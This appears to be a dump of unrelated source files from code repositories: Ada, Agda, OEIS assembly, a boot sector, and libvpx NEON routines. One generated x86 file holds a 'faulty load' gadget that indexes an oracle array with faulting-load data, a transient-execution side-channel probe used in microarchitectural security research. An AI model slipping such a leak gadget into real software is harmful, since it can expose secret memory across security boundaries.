Get_Prim_Op_Address,
Get_RC_Offset,
Get_Remotely_Callable,
Get_TSD,
Inherit_DT,
Inherit_TSD,
Register_Tag,
Set_Expanded_Name,
Set_External_Tag,
Set_Prim_Op_Address,
Set_RC_Offset,
Set_Remotely_Callable,
Set_TSD,
TSD_Entry_Size,
TSD_Prologue_Size);
function Fill_DT_Entry
(Loc : Source_Ptr;
Prim : Entity_Id)
return Node_Id;
-- Generate the code necessary to fill the appropriate entry of the
-- dispatch table of Prim's controlling type with Prim's address.
function Make_DT_Access_Action
(Typ : Entity_Id;
Action : DT_Access_Action;
Args : List_Id)
return Node_Id;
-- Generate a call to one of the Dispatch Table Access Subprograms defined
-- in Ada.Tags or in Interfaces.Cpp
function Make_DT (Typ : Entity_Id) return List_Id;
-- Expand the declarations for the Dispatch Table (or the Vtable in
-- the case of type whose ancestor is a CPP_Class)
procedure Set_All_DT_Position (Typ : Entity_Id);
-- Set the DT_Position field for each primitive operation. In the CPP
-- Class case check that no pragma CPP_Virtual is missing and that the
-- DT_Position are coherent
procedure Expand_Dispatch_Call (Call_Node : Node_Id);
-- Expand the call to the operation through the dispatch table and perform
-- the required tag checks when appropriate. For CPP types the call is
-- done through the Vtable (tag checks are not relevant)
procedure Set_Default_Constructor (Typ : Entity_Id);
-- Typ is a CPP_Class type. Create the Init procedure of that type to
-- be the default constructor (i.e. the function returning this type,
-- having a pragma CPP_Constructor and no parameter)
function Get_Remotely_Callable (Obj : Node_Id) return Node_Id;
-- Return an expression that holds True if the object can be transmitted
-- onto another partition according to E.4 (18)
end Exp_Disp;
|
prototyping/Luau/TypeNormalization.agda | Libertus-Lab/luau | 1 | 11713 | module Luau.TypeNormalization where
open import Luau.Type using (Type; nil; number; string; boolean; never; unknown; _⇒_; _∪_; _∩_)
-- Operations on normalized types
_∪ᶠ_ : Type → Type → Type
_∪ⁿˢ_ : Type → Type → Type
_∩ⁿˢ_ : Type → Type → Type
_∪ⁿ_ : Type → Type → Type
_∩ⁿ_ : Type → Type → Type
-- Union of function types
(F₁ ∩ F₂) ∪ᶠ G = (F₁ ∪ᶠ G) ∩ (F₂ ∪ᶠ G)
F ∪ᶠ (G₁ ∩ G₂) = (F ∪ᶠ G₁) ∩ (F ∪ᶠ G₂)
(R ⇒ S) ∪ᶠ (T ⇒ U) = (R ∩ⁿ T) ⇒ (S ∪ⁿ U)
F ∪ᶠ G = F ∪ G
-- Union of normalized types
S ∪ⁿ (T₁ ∪ T₂) = (S ∪ⁿ T₁) ∪ T₂
S ∪ⁿ unknown = unknown
S ∪ⁿ never = S
never ∪ⁿ T = T
unknown ∪ⁿ T = unknown
(S₁ ∪ S₂) ∪ⁿ G = (S₁ ∪ⁿ G) ∪ S₂
F ∪ⁿ G = F ∪ᶠ G
-- Intersection of normalized types
S ∩ⁿ (T₁ ∪ T₂) = (S ∩ⁿ T₁) ∪ⁿˢ (S ∩ⁿˢ T₂)
S ∩ⁿ unknown = S
S ∩ⁿ never = never
(S₁ ∪ S₂) ∩ⁿ G = (S₁ ∩ⁿ G)
unknown ∩ⁿ G = G
never ∩ⁿ G = never
F ∩ⁿ G = F ∩ G
-- Intersection of normalized types with a scalar
(S₁ ∪ nil) ∩ⁿˢ nil = nil
(S₁ ∪ boolean) ∩ⁿˢ boolean = boolean
(S₁ ∪ number) ∩ⁿˢ number = number
(S₁ ∪ string) ∩ⁿˢ string = string
(S₁ ∪ S₂) ∩ⁿˢ T = S₁ ∩ⁿˢ T
unknown ∩ⁿˢ T = T
F ∩ⁿˢ T = never
-- Union of normalized types with an optional scalar
S ∪ⁿˢ never = S
unknown ∪ⁿˢ T = unknown
(S₁ ∪ nil) ∪ⁿˢ nil = S₁ ∪ nil
(S₁ ∪ boolean) ∪ⁿˢ boolean = S₁ ∪ boolean
(S₁ ∪ number) ∪ⁿˢ number = S₁ ∪ number
(S₁ ∪ string) ∪ⁿˢ string = S₁ ∪ string
(S₁ ∪ S₂) ∪ⁿˢ T = (S₁ ∪ⁿˢ T) ∪ S₂
F ∪ⁿˢ T = F ∪ T
-- Normalize!
normalize : Type → Type
normalize nil = never ∪ nil
normalize (S ⇒ T) = (normalize S ⇒ normalize T)
normalize never = never
normalize unknown = unknown
normalize boolean = never ∪ boolean
normalize number = never ∪ number
normalize string = never ∪ string
normalize (S ∪ T) = normalize S ∪ⁿ normalize T
normalize (S ∩ T) = normalize S ∩ⁿ normalize T
|
programs/oeis/120/A120174.asm | neoneye/loda | 22 | 242388 | ; A120174: a(1)=5; a(n)=floor((29+sum(a(1) to a(n-1)))/5).
; 5,6,8,9,11,13,16,19,23,27,33,39,47,57,68,82,98,118,141,169,203,244,293,351,421,506,607,728,874,1049,1258,1510,1812,2174,2609,3131,3757,4509,5410,6492
add $0,1
mov $2,3
lpb $0
sub $0,1
add $2,$1
mov $1,6
add $1,$2
div $1,5
add $2,4
lpe
add $1,4
mov $0,$1
|
src/boot/boot_sector.asm | fintarin/FinOS | 2 | 4827 | <reponame>fintarin/FinOS
[ org 0x7c00 ]
mov bx, BOOT_BEGIN_MSG
call print_string
mov bx, BOOT_END_MSG
call print_string
jmp $
%include 'print_string.asm'
BOOT_BEGIN_MSG:
db 'Booting OS...', 0x0a, 0x0d, 0
BOOT_END_MSG:
db 'OS booted!', 0x0a, 0x0d, 0
times 510 - ($ - $$) db 0
dw 0xaa55
|
rom/src/wram.asm | Gegel85/GBCGoogleMaps | 0 | 96323 | <gh_stars>0
SECTION "RAM", WRAM0
include "src/constants.asm"
frameCounter::
ds $1
hardwareType::
ds $1
randomRegister::
ds $1
keysDisabled::
ds $1
typedTextBuffer::
ds MAX_TYPED_BUFFER_SIZE
zoomLevel::
ds $1
wifiLevel::
ds $1
SECTION "OAM", WRAM0[$C500]
oamSrc::
ds $A0
stackTop::
ds $C800 - stackTop
stackBottom::
SECTION "MAP", WRAMX[$D000]
tileMap::
ds $400
SECTION "CDATA", SRAM[$A000]
myCmdBuffer::
ds $100
cartCmdBuffer::
ds $2FE
cartIntTrigger::
ds $1
myIntTrigger::
ds $1
SECTION "CCTRL", SRAM[$B3FE]
cartCtrl::
ds $1 |
asm/fizz/itoa.asm | tekktonic/programming | 0 | 2391 | <gh_stars>0
section .text
global _start
global _main
main:
_start:
itoa:
mov eax, 1234
mov ebx, 0
mov ecx, $0A
div ecx
add edx, $30
mov [scratch+ebx], edx
add ebx, 1
mov [scratch+ebx], byte 0
mov eax, 4
mov ebx, 1
mov ecx, scratch
mov edx, 2
int 0x80
mov eax, 1
mov ebx, 0
int 0x80
section .bss
scratch resb 5
|
Transynther/x86/_processed/AVXALIGN/_ht_/i7-7700_9_0x48.log_21829_1681.asm | ljhsiun2/medusa | 9 | 81819 | <filename>Transynther/x86/_processed/AVXALIGN/_ht_/i7-7700_9_0x48.log_21829_1681.asm<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1443f, %r14
nop
xor %rax, %rax
movups (%r14), %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
dec %r12
lea addresses_normal_ht+0x175f, %rbx
nop
nop
nop
dec %rdx
mov (%rbx), %cx
nop
nop
nop
nop
nop
sub %r14, %r14
lea addresses_WC_ht+0x9dbf, %r14
nop
and %rsi, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
movups %xmm4, (%r14)
nop
nop
nop
nop
inc %rdx
lea addresses_D_ht+0x10a6f, %rcx
nop
nop
nop
inc %r14
movb $0x61, (%rcx)
nop
nop
sub $20209, %rax
lea addresses_D_ht+0xfa3f, %rcx
clflush (%rcx)
nop
nop
nop
sub %rsi, %rsi
mov $0x6162636465666768, %r14
movq %r14, (%rcx)
nop
nop
nop
nop
nop
add $63418, %rbx
lea addresses_A_ht+0xb4a4, %rcx
nop
nop
nop
nop
nop
cmp $28879, %rbx
mov (%rcx), %ax
nop
xor $57009, %rax
lea addresses_WT_ht+0x1263f, %rsi
lea addresses_D_ht+0x989e, %rdi
nop
nop
nop
nop
nop
and %rdx, %rdx
mov $83, %rcx
rep movsq
nop
nop
dec %rdx
lea addresses_A_ht+0x6d47, %r14
nop
nop
inc %rax
movb $0x61, (%r14)
nop
nop
sub $63384, %rdi
lea addresses_A_ht+0x19ee6, %rsi
lea addresses_UC_ht+0x6cef, %rdi
nop
nop
nop
nop
and $4742, %rbx
mov $98, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rdx
lea addresses_WT_ht+0x1a43f, %rdx
nop
nop
nop
nop
cmp %rsi, %rsi
mov (%rdx), %r12
nop
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x1543f, %r14
nop
nop
sub $61893, %rdi
vmovups (%r14), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rax
dec %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_RW+0x837f, %rbp
sub $46109, %r15
mov $0x5152535455565758, %r14
movq %r14, %xmm5
movups %xmm5, (%rbp)
nop
nop
nop
nop
add $26118, %r15
// Store
lea addresses_WT+0xb907, %rbx
clflush (%rbx)
nop
nop
nop
cmp $15066, %rcx
mov $0x5152535455565758, %r10
movq %r10, %xmm4
movups %xmm4, (%rbx)
nop
nop
nop
and %rbx, %rbx
// Store
lea addresses_A+0x9ea7, %rbx
nop
nop
nop
nop
inc %rcx
mov $0x5152535455565758, %r14
movq %r14, %xmm4
movaps %xmm4, (%rbx)
cmp %rax, %rax
// Store
lea addresses_PSE+0x136ff, %rbx
add $61274, %r10
movw $0x5152, (%rbx)
// Exception!!!
nop
mov (0), %rbx
nop
nop
nop
nop
and $939, %rbx
// Faulty Load
mov $0x3f, %rcx
sub %rbp, %rbp
movaps (%rcx), %xmm1
vpextrq $1, %xmm1, %rbx
lea oracles, %r14
and $0xff, %rbx
shlq $12, %rbx
mov (%r14,%rbx,1), %rbx
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'45': 18904, '46': 2925}
45 45 46 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 46 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 46 45 45 45 46 45 45 45 46 46 46 45 45 46 45 45 45 45 46 46 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 46 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 46 45 46 45 45 46 46 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 46 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 46 45 45 45 46 45 45 45 45 46 45 45 46 45 45 45 45 45 45 45 45 45 46 46 46 45 45 45 45 45 46 45 45 45 46 45 45 46 45 46 45 45 45 45 46 45 45 45 45 45 46 45 46 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 46 45 45 46 45 45 45 45 45 45 45 46 46 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 46 45 46 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 46 45 45 45 46 45 45 45 45 46 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 46 45 45 45 46 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 46 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 46 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 46 45 45 45 46 45 45 45 45 45 45 45 45 46 45 46 46 45 46 45 45 45 45 45 45 45 45 46 46 45 45 45 46 45 46 45 45 45 45 45 45 46 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 46 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 46 45 45 46 45 45 45 46 45 45 45 46 46 45 45 45 45 46 45 45 45 45 46 45 45 45 46 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 46 45 45 45 45 46 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 46 45 45 45 45 45 46 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 46 45 45 45 45 45 45 45 45 45 45 46 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 46 45 45 45 45 45 45 45 45 46 45 45 45 46 46 45 46 45 45 45 45 46 45 46 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 46 45 46 46 45 46 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45
*/
|
programs/oeis/186/A186146.asm | neoneye/loda | 22 | 16762 | ; A186146: Rank of n^3 when {i^2: i>=1} and {j^3: j>=1} are jointly ranked with i^2 before j^3 when i^2=j^3. Complement of A186145.
; 2,4,8,12,16,20,25,30,36,41,47,53,59,66,73,80,87,94,101,109,117,125,133,141,150,158,167,176,185,194,203,213,222,232,242,252,262,272,282,292,303,314,324,335,346,357,369,380,392,403,415,426,438,450,462,475,487,499,512,524,537,550,563,576,589,602,615,628,642,655,669,682,696,710,724,738,752,766,781,795,810,824,839,853,868,883,898
mov $2,$0
add $0,1
seq $0,77121 ; Number of integer squares <= n^3.
add $0,$2
|
source/commands/print.asm | paulscottrobson/Atomic-Basic-2 | 0 | 3521 | ; *******************************************************************************************
; *******************************************************************************************
;
; Name : print.asm
; Purpose : Print Statement
; Date : 25th July 2019
; Author : <NAME> (<EMAIL>)
;
; *******************************************************************************************
; *******************************************************************************************
; *******************************************************************************************
;
; Print command
;
; *******************************************************************************************
COMMAND_Print: ;; print
lda (zCurrentLine),y ; look at next character
beq _CPRExitNL ; zero end of line.
iny
cmp #' '
beq COMMAND_Print
cmp #KW_COLON ; colon, end of line
beq _CPRExitNL
cmp #KW_COMMA ; comma, tab
beq _CPRTab
cmp #KW_SEMICOLON ; semicolon ?
bne _CPRNotSemicolon
;
lda (zCurrentLine),y ; look at next character, is ; last thing
beq _CPRExit
cmp #KW_COLON
bne COMMAND_Print ; if not, just go back round again
rts
;
_CPRTab:lda #9 ; print tab.
jsr SIOPrintCharacter
lda (zCurrentLine),y ; look at next.
beq _CPRExit ; exit if 0 or :
cmp #KW_COLON
beq _CPRExit
bra COMMAND_Print
;
_CPRExitNL: ; exit, new line.
lda #13
jsr SIOPrintCharacter
_CPRExit: ; exit.
rts
;
_CPRNotSemicolon:
cmp #KW_SQUOTE ; single quote
beq _CPRNewLine ; new line
cmp #KW_DQUOTE ; double quote
bne _CPRNotQuote
;
_CPRPrintText:
lda (zCurrentLine),y ; get next character
beq _CPRError ; if zero no closing quote
iny
cmp #KW_DQUOTE ; double quote
beq COMMAND_Print ; go round again.
jsr SIOPrintCharacter ; print and do next character
bra _CPRPrintText
;
_CPRError:
#error "MISSING CLOSING QUOTE"
;
_CPRNewLine:
lda #13
jsr SIOPrintCharacter
bra COMMAND_Print
;
; Value of some sort, could be a string ($x) hex (&x) constant x
;
_CPRNotQuote:
cmp #KW_DOLLAR ; not a string ?
bne _CPRNumber ; print a number.
;
jsr EvaluateBase ; this is the address to print.
phy
ldy evalStack+1,x ; get the address
lda evalStack+0,x
tax
jsr SIOPrintString
ply
bra COMMAND_Print
;
; Expression, hex or decimal.
;
_CPRNumber:
cmp #KW_AMPERSAND
beq _CPRHexadecimal
dey ; must be 1st char of expr
jsr EvaluateBase ; this is the value to print.
lda evalStack+3,x ; is it -ve
bpl _CPRIsPositive
jsr BFUNC_NegateAlways ; negate it
lda #"-" ; print - it.
jsr SIOPrintCharacter
_CPRIsPositive:
jsr CPRPrintInteger ; Print string at current eval stack, base 10.
jmp COMMAND_Print
;
_CPRHexadecimal:
jsr EvaluateBase ; this is the value to print.
jsr _CPRPrintRecHex ; hex version of it.
jmp COMMAND_Print
_CPRPrintRecHex:
lda evalStack+0 ; get the remainder
and #15 ; and put on stack
pha
ldx #4 ; divide by 16
_CPRShiftDiv:
lsr evalStack+3
ror evalStack+2
ror evalStack+1
ror evalStack+0
dex
bne _CPRShiftDiv
;
lda evalStack+0 ; any more to print
ora evalStack+1
ora evalStack+2
ora evalStack+3
beq _CPRNoHexRec
jsr _CPRPrintRecHex
_CPRNoHexRec:
pla ; original remainder.
cmp #10
bcc _CPRNH2
adc #6
_CPRNH2:adc #48
jmp SIOPrintCharacter
; *******************************************************************************************
;
; Print number in eval stack,X in base 10
;
; *******************************************************************************************
CPRPrintInteger:
pha ; save on stack.
phx
phy
jsr _CPRPrintRec ; recursive print call
ply
plx
pla
rts
_CPRPrintRec:
lda #10 ; save base
sta evalStack+4,x ; put in next slot.
lda #0 ; clear upper 3 bytes
sta evalStack+5,x
sta evalStack+6,x
sta evalStack+7,x
jsr BFUNC_Divide ; divide by 10.
lda Temp1+0 ; push remainder on stack
pha
lda evalStack+0,x ; is the result #0
ora evalStack+1,x
ora evalStack+2,x
ora evalStack+3,x
beq _CPRNoRecurse
jsr _CPRPrintRec ; recursive print.
_CPRNoRecurse:
pla
ora #"0"
jmp SIOPrintCharacter
; *******************************************************************************************
;
; CLS Clear Screen
;
; *******************************************************************************************
COMMAND_CLS: ;; cls
jmp SIOClearScreen |
cards/bn4/ModCards/134-F006 MAX HP +850 (0A).asm | RockmanEXEZone/MMBN-Mod-Card-Kit | 10 | 7719 | .include "defaults_mod.asm"
table_file_jp equ "exe4-utf8.tbl"
table_file_en equ "bn4-utf8.tbl"
game_code_len equ 3
game_code equ 0x4234574A // B4WJ
game_code_2 equ 0x42345745 // B4WE
game_code_3 equ 0x42345750 // B4WP
card_type equ 1
card_id equ 96
card_no equ "096"
card_sub equ "Mod Card 096"
card_sub_x equ 64
card_desc_len equ 2
card_desc_1 equ "Address 0A"
card_desc_2 equ "MAX HP +850"
card_desc_3 equ ""
card_name_jp_full equ "マックスHP+850"
card_name_jp_game equ "マックスHP+850"
card_name_en_full equ "MAX HP +850"
card_name_en_game equ "MAX HP +850"
card_address equ "0A"
card_address_id equ 0
card_bug equ 0
card_wrote_en equ "MAX HP +850"
card_wrote_jp equ "マックスHP+850" |
programs/oeis/017/A017783.asm | karttu/loda | 1 | 247668 | ; A017783: Binomial coefficients C(67,n).
; 1,67,2211,47905,766480,9657648,99795696,869648208,6522361560,42757703560,247994680648,1285063345176,5996962277488,25371763481680,97862516286480,345780890878896,1123787895356412,3371363686069236,9364899127970100,24151581961607100
mov $1,67
bin $1,$0
|
source/libvpx/vp8/common/arm/neon/variance_neon.asm | DoubangoTelecom/libvpx_fast | 4 | 101602 | ;
; Copyright (c) 2010 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
EXPORT |vp8_variance16x16_neon|
EXPORT |vp8_variance16x8_neon|
EXPORT |vp8_variance8x16_neon|
EXPORT |vp8_variance8x8_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
; r0 unsigned char *src_ptr
; r1 int source_stride
; r2 unsigned char *ref_ptr
; r3 int recon_stride
; stack unsigned int *sse
|vp8_variance16x16_neon| PROC
vpush {q5}
vmov.i8 q8, #0 ;q8 - sum
vmov.i8 q9, #0 ;q9, q10 - sse
vmov.i8 q10, #0
mov r12, #8
variance16x16_neon_loop
vld1.8 {q0}, [r0], r1 ;Load up source and reference
vld1.8 {q2}, [r2], r3
vld1.8 {q1}, [r0], r1
vld1.8 {q3}, [r2], r3
vsubl.u8 q11, d0, d4 ;calculate diff
vsubl.u8 q12, d1, d5
vsubl.u8 q13, d2, d6
vsubl.u8 q14, d3, d7
;VPADAL adds adjacent pairs of elements of a vector, and accumulates
;the results into the elements of the destination vector. The explanation
;in ARM guide is wrong.
vpadal.s16 q8, q11 ;calculate sum
vmlal.s16 q9, d22, d22 ;calculate sse
vmlal.s16 q10, d23, d23
subs r12, r12, #1
vpadal.s16 q8, q12
vmlal.s16 q9, d24, d24
vmlal.s16 q10, d25, d25
vpadal.s16 q8, q13
vmlal.s16 q9, d26, d26
vmlal.s16 q10, d27, d27
vpadal.s16 q8, q14
vmlal.s16 q9, d28, d28
vmlal.s16 q10, d29, d29
bne variance16x16_neon_loop
vadd.u32 q10, q9, q10 ;accumulate sse
vpaddl.s32 q0, q8 ;accumulate sum
ldr r12, [sp, #16] ;load *sse from stack
vpaddl.u32 q1, q10
vadd.s64 d0, d0, d1
vadd.u64 d1, d2, d3
;vmov.32 r0, d0[0] ;this instruction costs a lot
;vmov.32 r1, d1[0]
;mul r0, r0, r0
;str r1, [r12]
;sub r0, r1, r0, lsr #8
; while sum is signed, sum * sum is always positive and must be treated as
; unsigned to avoid propagating the sign bit.
vmull.s32 q5, d0, d0
vst1.32 {d1[0]}, [r12] ;store sse
vshr.u32 d10, d10, #8
vsub.u32 d0, d1, d10
vmov.32 r0, d0[0] ;return
vpop {q5}
bx lr
ENDP
;================================
;unsigned int vp8_variance16x8_c(
; unsigned char *src_ptr,
; int source_stride,
; unsigned char *ref_ptr,
; int recon_stride,
; unsigned int *sse)
|vp8_variance16x8_neon| PROC
vpush {q5}
vmov.i8 q8, #0 ;q8 - sum
vmov.i8 q9, #0 ;q9, q10 - sse
vmov.i8 q10, #0
mov r12, #4
variance16x8_neon_loop
vld1.8 {q0}, [r0], r1 ;Load up source and reference
vld1.8 {q2}, [r2], r3
vld1.8 {q1}, [r0], r1
vld1.8 {q3}, [r2], r3
vsubl.u8 q11, d0, d4 ;calculate diff
vsubl.u8 q12, d1, d5
vsubl.u8 q13, d2, d6
vsubl.u8 q14, d3, d7
vpadal.s16 q8, q11 ;calculate sum
vmlal.s16 q9, d22, d22 ;calculate sse
vmlal.s16 q10, d23, d23
subs r12, r12, #1
vpadal.s16 q8, q12
vmlal.s16 q9, d24, d24
vmlal.s16 q10, d25, d25
vpadal.s16 q8, q13
vmlal.s16 q9, d26, d26
vmlal.s16 q10, d27, d27
vpadal.s16 q8, q14
vmlal.s16 q9, d28, d28
vmlal.s16 q10, d29, d29
bne variance16x8_neon_loop
vadd.u32 q10, q9, q10 ;accumulate sse
vpaddl.s32 q0, q8 ;accumulate sum
ldr r12, [sp, #16] ;load *sse from stack
vpaddl.u32 q1, q10
vadd.s64 d0, d0, d1
vadd.u64 d1, d2, d3
vmull.s32 q5, d0, d0
vst1.32 {d1[0]}, [r12] ;store sse
vshr.u32 d10, d10, #7
vsub.u32 d0, d1, d10
vmov.32 r0, d0[0] ;return
vpop {q5}
bx lr
ENDP
;=================================
;unsigned int vp8_variance8x16_c(
; unsigned char *src_ptr,
; int source_stride,
; unsigned char *ref_ptr,
; int recon_stride,
; unsigned int *sse)
|vp8_variance8x16_neon| PROC
vpush {q5}
vmov.i8 q8, #0 ;q8 - sum
vmov.i8 q9, #0 ;q9, q10 - sse
vmov.i8 q10, #0
mov r12, #8
variance8x16_neon_loop
vld1.8 {d0}, [r0], r1 ;Load up source and reference
vld1.8 {d4}, [r2], r3
vld1.8 {d2}, [r0], r1
vld1.8 {d6}, [r2], r3
vsubl.u8 q11, d0, d4 ;calculate diff
vsubl.u8 q12, d2, d6
vpadal.s16 q8, q11 ;calculate sum
vmlal.s16 q9, d22, d22 ;calculate sse
vmlal.s16 q10, d23, d23
subs r12, r12, #1
vpadal.s16 q8, q12
vmlal.s16 q9, d24, d24
vmlal.s16 q10, d25, d25
bne variance8x16_neon_loop
vadd.u32 q10, q9, q10 ;accumulate sse
vpaddl.s32 q0, q8 ;accumulate sum
ldr r12, [sp, #16] ;load *sse from stack
vpaddl.u32 q1, q10
vadd.s64 d0, d0, d1
vadd.u64 d1, d2, d3
vmull.s32 q5, d0, d0
vst1.32 {d1[0]}, [r12] ;store sse
vshr.u32 d10, d10, #7
vsub.u32 d0, d1, d10
vmov.32 r0, d0[0] ;return
vpop {q5}
bx lr
ENDP
;==================================
; r0 unsigned char *src_ptr
; r1 int source_stride
; r2 unsigned char *ref_ptr
; r3 int recon_stride
; stack unsigned int *sse
|vp8_variance8x8_neon| PROC
vpush {q5}
vmov.i8 q8, #0 ;q8 - sum
vmov.i8 q9, #0 ;q9, q10 - sse
vmov.i8 q10, #0
mov r12, #2
variance8x8_neon_loop
vld1.8 {d0}, [r0], r1 ;Load up source and reference
vld1.8 {d4}, [r2], r3
vld1.8 {d1}, [r0], r1
vld1.8 {d5}, [r2], r3
vld1.8 {d2}, [r0], r1
vld1.8 {d6}, [r2], r3
vld1.8 {d3}, [r0], r1
vld1.8 {d7}, [r2], r3
vsubl.u8 q11, d0, d4 ;calculate diff
vsubl.u8 q12, d1, d5
vsubl.u8 q13, d2, d6
vsubl.u8 q14, d3, d7
vpadal.s16 q8, q11 ;calculate sum
vmlal.s16 q9, d22, d22 ;calculate sse
vmlal.s16 q10, d23, d23
subs r12, r12, #1
vpadal.s16 q8, q12
vmlal.s16 q9, d24, d24
vmlal.s16 q10, d25, d25
vpadal.s16 q8, q13
vmlal.s16 q9, d26, d26
vmlal.s16 q10, d27, d27
vpadal.s16 q8, q14
vmlal.s16 q9, d28, d28
vmlal.s16 q10, d29, d29
bne variance8x8_neon_loop
vadd.u32 q10, q9, q10 ;accumulate sse
vpaddl.s32 q0, q8 ;accumulate sum
ldr r12, [sp, #16] ;load *sse from stack
vpaddl.u32 q1, q10
vadd.s64 d0, d0, d1
vadd.u64 d1, d2, d3
vmull.s32 q5, d0, d0
vst1.32 {d1[0]}, [r12] ;store sse
vshr.u32 d10, d10, #6
vsub.u32 d0, d1, d10
vmov.32 r0, d0[0] ;return
